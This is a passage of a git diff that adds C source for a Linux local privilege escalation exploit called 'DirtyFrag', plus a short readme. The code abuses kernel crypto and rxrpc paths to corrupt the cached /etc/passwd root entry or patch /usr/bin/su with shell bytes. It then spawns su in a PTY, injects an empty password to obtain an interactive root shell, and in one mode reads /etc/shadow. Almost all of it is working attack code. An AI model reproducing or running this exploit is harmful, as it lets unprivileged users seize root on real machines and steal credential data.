Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3], + Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]); + + fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n"); + if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok, + Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL, + "K_C") != 0) { + WARN("K_C search exhausted"); return 2; + } + } + + fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root"); + /* chars 4-5 from P_A */ + for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr); + /* chars 6-7 from P_B */ + for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr); + /* chars 8-15 from P_C */ + for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr); + fprintf(stderr, "/root:/bin/bash\"\n"); + + /* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) === + * Each trigger does a single in-place decrypt at the + * indicated /etc/passwd file offset. Last-write-wins on overlapping + * bytes determines the final state. + */ + fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a); + memcpy(SESSION_KEY, Ka, 8); + if (do_one_trigger(rfd_ro, off_a, 8) < 0) { + WARN("kernel trigger A failed"); return 3; + } + + fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b); + memcpy(SESSION_KEY, Kb, 8); + if (do_one_trigger(rfd_ro, off_b, 8) < 0) { + WARN("kernel trigger B failed"); return 3; + } + + fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c); + memcpy(SESSION_KEY, Kc, 8); + if (do_one_trigger(rfd_ro, off_c, 8) < 0) { + WARN("kernel trigger C failed"); return 3; + } + + /* Verify: re-read line 1 of /etc/passwd via mmap. */ + fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '"); + for (int i = 0; i < 32; i++) { + char c = ((const char *)map)[i]; + fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); + } + fprintf(stderr, "'\n"); + + /* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */ + { + const char *m = (const char *)map; + int ok = (m[4] == ':' && m[5] == ':' && + m[6] == '0' && m[7] == ':' && + m[8] == '0' && m[9] == ':' && + m[15] == ':'); + if (!ok) { + WARN("post-trigger sanity check failed — char layout off"); + return 4; + } + } + fprintf(stderr, + "\n[!!!] HIT — root entry now has empty passwd field, uid=0, " + "gid=0, dir=/root, shell=/bin/bash.\n"); + + /* === STAGE 3 — VERIFY VIA getent passwd root === */ + fprintf(stderr, + "\n=== STAGE 3: independent verify via `getent passwd root` ===\n"); + { + int p[2]; + if (pipe(p) == 0) { + pid_t pid = fork(); + if (pid == 0) { + close(p[0]); + dup2(p[1], 1); + dup2(p[1], 2); + close(p[1]); + execlp("getent", "getent", "passwd", "root", NULL); + _exit(127); + } + close(p[1]); + char buf[1024]; + ssize_t r = read(p[0], buf, sizeof(buf) - 1); + close(p[0]); + int wstatus = 0; + waitpid(pid, &wstatus, 0); + if (r > 0) { + buf[r] = 0; + fprintf(stderr, "[getent passwd root] %s", buf); + } + fprintf(stderr, + "[+] PRIMITIVE proven: root entry has empty passwd field " + "via NSS.\n"); + } + } + + /* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so + * the chain wrapper can skip the in-process su PTY stage and exec + * /usr/bin/su itself. Avoids the flaky posix_openpt bridge. */ + { + int co_flag = 0; + for (int i = 1; i < argc; i++) + if (!strcmp(argv[i], "--corrupt-only")) { co_flag = 1; break; } + const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY"); + if (e && *e == '1') co_flag = 1; + if (co_flag) return 0; + } + + /* === STAGE 4 — `su` (target=root, no password input) === + * PAM common-auth contains "auth [success=2 default=ignore] + * pam_unix.so nullok" — so a target user with empty passwd field + * + nullok flag accepts an empty password. We auto-inject a + * single newline on the "Password:" prompt and then bridge the + * resulting bash to the user's tty. */ + fprintf(stderr, + "\n=== STAGE 4: spawning interactive root shell via `su` " + "(no password input needed) ===\n\n"); + fflush(stderr); + + int master = posix_openpt(O_RDWR | O_NOCTTY); + if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) { + WARN("posix_openpt: %s", strerror(errno)); + return 5; + } + char *slave_name = ptsname(master); + + struct winsize ws; + if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) { + ioctl(master, TIOCSWINSZ, &ws); + } + + pid_t pid = fork(); + if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; } + if (pid == 0) { + /* child */ + setsid(); + int slave = open(slave_name, O_RDWR); + if (slave < 0) _exit(127); + ioctl(slave, TIOCSCTTY, 0); + dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); + if (slave > 2) close(slave); + close(master); + /* `su` with no args targets root. PAM common-auth's pam_unix.so + * nullok accepts the empty passwd we planted in /etc/passwd. */ + execlp("su", "su", NULL); + _exit(127); + } + + /* parent: bridge user's tty <-> master. */ + struct termios saved_termios; + int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0); + if (saved_termios_ok) { + struct termios raw = saved_termios; + cfmakeraw(&raw); + tcsetattr(STDIN_FILENO, TCSANOW, &raw); + } + + int auto_pw_sent = 0; + int stdin_eof = 0; /* set when stdin closes (e.g. /dev/null) */ + char buf[4096]; + /* If LPE_AUTO_VERIFY=1 is set, the bridge will inject + * `id; whoami; exit\n` so it can prove uid=0 non-interactively + * (e.g. when stdin is /dev/null in CI). */ + int auto_verify = 0; + { + const char *e = getenv("LPE_AUTO_VERIFY"); + if (e && *e == '1') auto_verify = 1; + } + int verify_sent = 0; + int total_ms = 0; + for (;;) { + struct pollfd pfds[2] = { + { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, + { master, POLLIN, 0 }, + }; + int pr = poll(pfds, 2, 200); + if (pr < 0 && errno != EINTR) break; + total_ms += 200; + + if (pfds[1].revents & POLLIN) { + ssize_t n = read(master, buf, sizeof(buf)); + if (n <= 0) break; + (void)write(STDOUT_FILENO, buf, n); + if (!auto_pw_sent && (size_t)n < sizeof(buf)) { + buf[n] = 0; + if (strstr(buf, "Password") || strstr(buf, "password")) { + /* Empty password — PAM nullok will accept it. + * (When pam_unix sees an empty passwd field plus + * nullok it skips the prompt entirely; this branch + * handles the case where some other PAM module + * prints a prompt anyway.) */ + (void)write(master, "\n", 1); + auto_pw_sent = 1; + } + } + } + if (!stdin_eof && (pfds[0].revents & POLLIN)) { + ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); + if (n <= 0) { + /* stdin EOF — stop reading from it but keep bridging + * master → stdout so su can still finish auth and run + * the optional auto-verify command. */ + stdin_eof = 1; + } else { + (void)write(master, buf, n); + } + } + if (pfds[1].revents & (POLLHUP | POLLERR)) break; + + /* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so + * the bridge captures uid=0 evidence non-interactively even + * when pam_unix's blank-passwd path skips the prompt. */ + if (auto_verify && !verify_sent && total_ms >= 1000) { + const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n"; + (void)write(master, cmd, sizeof(cmd) - 1); + verify_sent = 1; + } + + int status; + pid_t w = waitpid(pid, &status, WNOHANG); + if (w == pid) { + for (int i = 0; i < 5; i++) { + struct pollfd pf = { master, POLLIN, 0 }; + if (poll(&pf, 1, 50) <= 0) break; + ssize_t n = read(master, buf, sizeof(buf)); + if (n <= 0) break; + (void)write(STDOUT_FILENO, buf, n); + } + break; + } + } + if (saved_termios_ok) { + tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); + } + close(master); + return 0; +} +/* + * DirtyFrag chain — uid=1000 → root. + * + * 1. ESP path (authencesn AF_ALG --corrupt-only): overwrites the first + * 160 bytes of /usr/bin/su's page-cache with a static x86_64 root- + * shell ELF. Works on every distro tested regardless of PAM nullok + * or /etc/passwd contents — once invoked, the patched setuid-root + * /usr/bin/su just execs /bin/sh as uid 0. + * + * 2. rxrpc path (Ubuntu fallback): if AF_ALG is sandboxed and the ESP + * path can't reach the page cache, fall back to the rxrpc/rxkad + * nullok primitive that patches /etc/passwd's root entry empty. + * PAM nullok then accepts the empty password during `su -`. + * + * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a + * fresh PTY and bridge the user's tty to it. The bridge handles + * both the patched-su (no PAM at all) and the patched-passwd (PAM + * nullok) cases uniformly, and works even when the caller is in a + * background process group of an ssh-allocated PTY. + * + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +extern int su_lpe_main(int argc, char **argv); +extern int rxrpc_lpe_main(int argc, char **argv); + +/* + * The 8 bytes our su payload places at file offset 0x78 — the first + * instructions of the embedded shell ELF. Sequence: + * 31 ff xor edi, edi + * 31 f6 xor esi, esi + * 31 c0 xor eax, eax + * b0 6a mov al, 0x6a (setgid) + * Distros' original /usr/bin/su has different bytes here, so this is + * a reliable post-patch marker. + * + * (We don't check offset 0 because /usr/bin/su already has the ELF + * magic there — both before and after we patch.) + */ +static const uint8_t su_marker[8] = { + 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, +}; + +static int su_already_patched(void) +{ + int fd = open("/usr/bin/su", O_RDONLY); + if (fd < 0) + return 0; + uint8_t got[8]; + ssize_t n = pread(fd, got, sizeof(got), 0x78); + close(fd); + if (n != sizeof(got)) + return 0; + return memcmp(got, su_marker, sizeof(su_marker)) == 0; +} + +static int passwd_already_patched(void) +{ + int fd = open("/etc/passwd", O_RDONLY); + if (fd < 0) + return 0; + char head[16]; + ssize_t n = pread(fd, head, sizeof(head), 0); + close(fd); + if (n < 9) + return 0; + return memcmp(head, "root::0:0", 9) == 0; +} + +static int either_target_patched(void) +{ + return su_already_patched() || passwd_already_patched(); +} + +static void silence_stderr(int *saved_fd) +{ + *saved_fd = dup(STDERR_FILENO); + int dn = open("/dev/null", O_WRONLY); + if (dn >= 0) { + dup2(dn, STDERR_FILENO); + close(dn); + } +} + +static void restore_stderr(int saved_fd) +{ + if (saved_fd >= 0) { + dup2(saved_fd, STDERR_FILENO); + close(saved_fd); + } +} + +static char **append_corrupt_only(int argc, char **argv, int *new_argc) +{ + static char *flag = "--corrupt-only"; + static char *buf[64]; + int n = argc < 60 ? argc : 60; + for (int i = 0; i < n; i++) + buf[i] = argv[i]; + buf[n] = flag; + buf[n + 1] = NULL; + *new_argc = n + 1; + return buf; +} + +static void exec_su_login(void) +{ + const char *paths[] = { + "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL, + }; + for (int i = 0; paths[i]; i++) + execl(paths[i], "su", "-", (char *)NULL); + execlp("su", "su", "-", (char *)NULL); +} + +/* + * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it. + */ +static int run_root_pty(void) +{ + int master = posix_openpt(O_RDWR | O_NOCTTY); + if (master < 0) + return -1; + if (grantpt(master) < 0 || unlockpt(master) < 0) { + close(master); + return -1; + } + char *slave_name = ptsname(master); + if (!slave_name) { + close(master); + return -1; + } + + struct winsize ws; + if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) + ioctl(master, TIOCSWINSZ, &ws); + + pid_t pid = fork(); + if (pid < 0) { + close(master); + return -1; + } + if (pid == 0) { + setsid(); + int slave = open(slave_name, O_RDWR); + if (slave < 0) + _exit(127); + ioctl(slave, TIOCSCTTY, 0); + dup2(slave, 0); + dup2(slave, 1); + dup2(slave, 2); + if (slave > 2) + close(slave); + close(master); + exec_su_login(); + _exit(127); + } + + signal(SIGTTOU, SIG_IGN); + signal(SIGTTIN, SIG_IGN); + signal(SIGPIPE, SIG_IGN); + signal(SIGHUP, SIG_IGN); + (void)setpgid(0, 0); + (void)tcsetpgrp(STDIN_FILENO, getpid()); + + struct termios saved_termios; + int restore_termios = 0; + if (tcgetattr(STDIN_FILENO, &saved_termios) == 0) { + struct termios raw = saved_termios; + cfmakeraw(&raw); + if (tcsetattr(STDIN_FILENO, TCSANOW, &raw) == 0) + restore_termios = 1; + } + + int auto_pw_sent = 0; + int stdin_eof = 0; + int saw_master_output = 0; + int total_ms = 0; + char buf[4096]; + + for (;;) { + struct pollfd pfds[2] = { + { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, + { master, POLLIN, 0 }, + }; + int pr = poll(pfds, 2, 200); + if (pr < 0 && errno != EINTR) + break; + total_ms += 200; + + if (pfds[1].revents & POLLIN) { + ssize_t n = read(master, buf, sizeof(buf)); + if (n <= 0) + break; + saw_master_output = 1; + (void)write(STDOUT_FILENO, buf, n); + if (!auto_pw_sent && n < (ssize_t)sizeof(buf)) { + buf[n] = 0; + if (strstr(buf, "Password") || + strstr(buf, "password")) { + (void)write(master, "\n", 1); + auto_pw_sent = 1; + } + } + } + if (!stdin_eof && (pfds[0].revents & POLLIN)) { + ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); + if (n <= 0) + stdin_eof = 1; + else + (void)write(master, buf, n); + } + if (pfds[1].revents & (POLLHUP | POLLERR)) + break; + + if (!auto_pw_sent && !saw_master_output && total_ms >= 1500) { + (void)write(master, "\n", 1); + auto_pw_sent = 1; + } + + int status; + pid_t w = waitpid(pid, &status, WNOHANG); + if (w == pid) { + for (int i = 0; i < 5; i++) { + struct pollfd pf = { master, POLLIN, 0 }; + if (poll(&pf, 1, 50) <= 0) + break; + ssize_t n = read(master, buf, sizeof(buf)); + if (n <= 0) + break; + (void)write(STDOUT_FILENO, buf, n); + } + break; + } + } + + if (restore_termios) + tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); + close(master); + return 0; +} + +int main(int argc, char **argv) +{ + int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL); + int force_esp = 0, force_rxrpc = 0; + int saved_err = -1; + int rc = 1; + int new_argc; + char **co_argv; + + for (int i = 1; i < argc; i++) { + if (!strcmp(argv[i], "--force-esp")) + force_esp = 1; + else if (!strcmp(argv[i], "--force-rxrpc")) + force_rxrpc = 1; + else if (!strcmp(argv[i], "-v") || + !strcmp(argv[i], "--verbose")) + verbose = 1; + } + + if (getuid() == 0) { + execlp("/bin/bash", "bash", (char *)NULL); + _exit(1); + } + + co_argv = append_corrupt_only(argc, argv, &new_argc); + + if (!verbose) + silence_stderr(&saved_err); + + if (force_rxrpc) { + rc = rxrpc_lpe_main(new_argc, co_argv); + for (int i = 0; !passwd_already_patched() && i < 3; i++) + rc = rxrpc_lpe_main(new_argc, co_argv); + } else if (force_esp) { + rc = su_lpe_main(new_argc, co_argv); + } else { + rc = su_lpe_main(new_argc, co_argv); + if (!su_already_patched()) { + rc = rxrpc_lpe_main(new_argc, co_argv); + for (int i = 0; !passwd_already_patched() && i < 3; i++) + rc = rxrpc_lpe_main(new_argc, co_argv); + } + } + + int patched = either_target_patched(); + + if (!verbose) + restore_stderr(saved_err); + + if (patched) { + (void)run_root_pty(); + return 0; + } + + dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc); + return rc ? rc : 1; +} diff --git a/readme.md b/readme.md new file mode 100644 index 0000000..e9df230 --- /dev/null +++ b/readme.md @@ -0,0 +1,2 @@ +## Dirty Frag added 2026-05-08 melkerton +## Copy Fail added 2026-04-30 melkerton